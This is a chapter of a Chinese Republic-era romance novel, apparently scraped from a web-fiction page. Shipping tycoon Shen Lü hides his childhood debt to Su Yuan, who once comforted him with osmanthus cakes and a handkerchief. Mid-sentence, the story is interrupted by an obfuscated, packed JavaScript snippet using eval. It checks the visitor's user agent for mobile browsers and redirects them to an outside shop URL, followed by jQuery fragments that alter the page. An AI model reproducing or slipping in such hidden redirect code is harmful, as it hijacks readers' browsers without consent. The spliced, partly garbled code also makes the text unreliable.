沈律今日穿一身藏青西装，剪裁合体，衬得身形挺拔如松，袖扣是银质的，在灯火下格外抢眼。
他正与人说话，神情淡淡，眉眼冷冽，偶尔微微颔首，疏离又矜贵。
“那是沈律沈先生。”苏母在她耳边低语，“沈家航运的当家人，本事大了去了，你待会儿可要好好打招呼。”
苏沅轻轻“哦”了一声，双眸不自觉又落在他身上。
倒不全是因为他生得好看——好吧，确实有几分——而是他看自己的眼神，实在太奇怪了。
像在看她，又像透过她，又像在望很远很远的地方。
宴席设在沈公馆西厅。
苏沅被安排在女眷桌，左边是沈家远房堂婶，右边是不相识的官太太，对面是几位娇俏的世家小姐。
长辈们聊绸缎行情、聊时局动荡、聊谁家少爷留洋归来前程似锦，她插不上话，也无心插嘴，只低着头，用银匙慢慢舀着碗里的清汤，直到汤凉透了，也没喝一口。
脑子里反反复复，还是那张字条。
“善意若让对方难堪，便是负担。”
写这字的人到底是谁？他怎么会知道她送笔的事？又为何要悄悄塞字条，却不肯留名？
她想得入神，侍者开始上点心。
八宝鸭、松鼠鳜鱼、蟹粉豆腐……苏沅一样没动。
直到一碟白瓷点心轻轻搁在她面前，她抬眼看，是桂花糕。
码得整整齐齐，六块，每一块上头都缀着星星点点的金桂糖渍。
她正要夹一块，主座那边忽然“哐”一声。
满桌寂静。
苏沅循声望去，只见沈律面前的酒杯打翻了，红酒沿着桌布往下淌，洇开一大片暗红。他身边的秦舟已经上前擦拭，动作极快。
所有人的目光都落在他身上。
沈律垂眸看着酒渍，语气平平：“手滑。”
说完，他拿起餐巾，慢条斯理地擦了擦手指，神色冷冽，看不出半分失态。
席间又恢复了谈笑声。
侍者换上新酒杯、新桌布，仿佛什么都没发生。
苏沅收回视线。
她没注意到，桂花糕被侍者悄悄撤了下去。
但沈律看到了。
他的目光追着那碟糕，直到它消失在侧门帘后。片刻，他垂下眼睫，端起新斟的酒，饮尽。
杯底有极淡的桂花香，甜得他心口发涩。
自始至终，他没看任何人。
——他只看她。
【沈律回忆】
那年他七岁，还不叫沈律。
他没有名字。人人轻贱他。
沈老爷叫他“那孩子”，下人们叫他“小杂种”，嫡兄沈诚叫他“私生子”，后头总要缀几句难听的话。
有天他被沈诚堵在巷子里。
沈诚带着三个跟班，把他推倒在地，拳脚雨点般落下来。他蜷着身子，用手臂护住头，一声不吭。
“私生子也配姓沈？也配分家产？”沈诚一脚踹在他腰侧，恶狠狠地骂，“你怎么不去死！”
他没哭。
他早就不哭了。
母亲死的时候他哭过，眼泪糊了满脸，嚎得嗓子都哑了。后来他明白了，哭没用。
沈诚踢累了，蹲下来，粗暴地扯起他的头发，逼他抬头：“还敢瞪我？你也配？”
他还是没说话，眼神冷硬如石。
巷口忽然传来细碎的脚步声。
轻轻的，软软的，像小兽踩着落叶，小心翼翼的。
一个穿粉色洋装的小姑娘走了进来，手里捧着一方手帕，里头鼓鼓囊囊包着什么。
她看着地上的他，又看看沈诚几人，没有跑，蹲了下来。
“你脸上好多血。”她说。
声音软软的，带着一点点江南口音，像春天屋檐下的融雪，轻轻淌进他冰冷的心底。
她把手帕打开，里面是两块桂花糕和她拿起一块，递到他嘴边。
“你别怕。”她说，“我护着你。”
然后她用手帕，轻轻擦他脸上的血，动作很轻，怕弄疼他似的。
手帕是白色的，角上绣着一小朵玉兰花，还有细细的缠枝纹。
他怔怔地看着她的眼睛。
那里有他自己狼狈的倒影——还有他从未见过的东西。
后来他知道了，那叫善意。
她没有问他叫什么名字，从哪里来，为什么会躺在这里。而是蹲下来，递给他一块糕，说“我护着你”。
那是他人生中第一块桂花糕，也是这辈子吃过最甜的东西。也是第一次，有人把他当人看，有人说要护着他。
他把没吃完的糕藏起来，直到发霉也舍不得扔。把手帕洗干干净净，叠得整整齐齐，锁进木盒里。
又在木盒底部，用小刀一笔一划，刻下一个字：
清。
——清清。
她走后很久，他才知道她叫苏沅。
是苏家绸缎庄的掌上明珠，人人疼爱的沅沅小姐。
为了能堂堂正正站在她面前，他用了十五年。
从码头扛包的苦力，从人人可欺的私生子，一步步爬到上海滩航运大亨的位置，步步为营。
十五年里，他想过无数次重逢的场景。
想对她说谢谢。
想告诉她，当年那方手帕，他还留着。
想轻声唤她一句：清清，我来接你了。
可真的见到她，看着她懵懂单纯的模样，他什么都没说。
宴会散时，苏沅在廊下等车。
春夜的风还带着凉意，她没披披肩，纤细的手臂起了一层细细的鸡皮疙瘩她揉了揉，四处张望自家轿车的影子。
“苏小姐似乎心情不佳。”
她转头。
沈律不知何时站在她身侧，隔着一步不远不近的距离，分寸感刚刚好。灯火从他背后照过来，在他脸上投下淡淡的阴影，眉眼深邃，看不真切情绪。
“没有。”苏沅慌忙扯出一个礼貌的笑，语气乖巧，“宴席很好，多谢沈先生招待周到。”
沈律没说话，从西装内袋取出一方手帕，递过来。
白底，玉兰绣纹，角上有一小朵银线绣的花。
“擦擦。你嘴角沾了奶油。”
苏沅礼貌接过。
手帕是干净的，熨得平整，带着极淡的桂花香，清浅好闻。
她正要道谢，却愣住了。这花纹，她好像在哪里见过。
不是玉兰，是玉兰旁边，那圈细细的缠枝纹。
她小时候也有一条这样的手帕。
是外婆从苏州带来的，料子极软，边角绣着这样的缠枝纹。后来她送给了一个满身是血的小男孩。
苏沅抬起头。
沈律已经转身走了，正与她父亲握手寒暄，谈笑自若。
他侧脸的线条冷峻，没有回头。
她低头看着手里的帕子。
春夜的风还在吹，手帕一角微微扬起，玉兰花在灯火下一明一暗。
她站在原地，忘了冷。
远处，秦舟拉开车门。
沈律上车前，朝她的方向看了一眼。
隔着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184895|196988||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满院的灯光与人影，他的目光越过所有人，落在她手中那方手帕上。
只一瞬，便收回视线，然后弯腰进车，车门轻轻关上，低沉的引擎声渐渐远去，消失在夜色里。
苏沅还站在原地。
苏父苏青阳朝她大喊一声，“傻站着干嘛？车来了。”
“来了”苏沅小步追了出去，忽然回头。
沈公馆西厅的窗子亮着，侍者正在撤席。
“沅沅？”
“……没事。”
她把手帕折好，收进手提包里。
手帕很轻，可她觉得，有什么东西，正沉沉地落进她心里。
马车从沈公馆出来，苏沅靠坐在车厢角落里，手包搁在膝上。
苏青阳今晚喝得不少，红光满面，话也比平日密。
“沈先生今晚亲自给我敬了三杯酒，半点架子都没有。上海滩航运这碗饭，以后是谁的天下，明眼人一看便知，咱们苏家若是搭上这条线，绸缎茶叶的水路运输，再也不用看洋人脸色了。我看——”
“爹。”苏沅打断他，语气平平，“您喝多了。”
苏父“嗐”一声，没当回事，自顾自往下说：“沈先生年轻有为，虽说出身……咳，但手段可是真刀真枪的厉害。闸北那两个码头，英国人谈了半年没谈下来，他去一趟，事儿就成了。”
苏母从旁递了盏热茶，接口道：“人家沈先生不单是码头拿下了，连码头上的工头、脚夫都服他。你爹那批生丝，往年走水路总被压价，下回交给沈家船队，保管顺顺当当。”
苏沅垂着眼，没接话。
她正看着自己微红的手指，方才宴席上不小心碰了被热茶杯底，烫的，不算疼，却麻酥酥的，一直挠在心口。
她无端想起沈律打翻酒杯的模样。
红酒沿着桌布淌下去，他垂眼看那滩渍，像在看一件坏掉的物件，不慌张，不尴尬。
手滑。未免太过淡定。
“沅沅。”
苏母的声音把她拽回来。
“你发什么愣？”苏母把话头递过来，试探道，“今晚沈先生问起你呢。”
苏沅抬起眼，茫然：“问我什么？”
“问你平日里爱吃什么点心。我答你爱吃桂花糕，他还多看了你一眼。”
苏沅愣了一下。
桂花糕。
她想起宴上被撤下去的糕点，以及沈律打翻酒杯时垂下的眼睫。
是错觉吗？他打翻酒杯，是在桂花糕端上来之后。
“娘。”她开口，语气平平的，“我才见过他一次。”
“一次怎么了？”苏母理所当然，“我跟你爹成亲前，也就见了两面，不也和和美美过了一辈子？世家联姻，本就是看家世门第，情分都是日后慢慢处出来的。”
苏父在旁连连点头，深以为然。
“他问您我爱吃什么，那是客套话，您怎么还当真了？”
“那他怎么不问李太太爱吃什么？王太太爱吃什么？偏问我们沅沅爱吃什么？”
“……”苏沅噎住。
她觉得她娘的逻辑有问题，但一时间找不出破绽。
“反正……”她往车厢角落缩了缩，“我不喜欢他。”
“你见都没见几回，怎么知道不喜欢？”苏母挑眉。
“我不喜欢他的眼睛。”
苏沅自己也说不上来。
她只是觉得，沈律看人的时候，目光太沉、太深，像一口封冻多年的古井，望不见底，她不喜欢井。
“那你喜欢谁的？喜欢圣约翰大学那个穷酸记者？”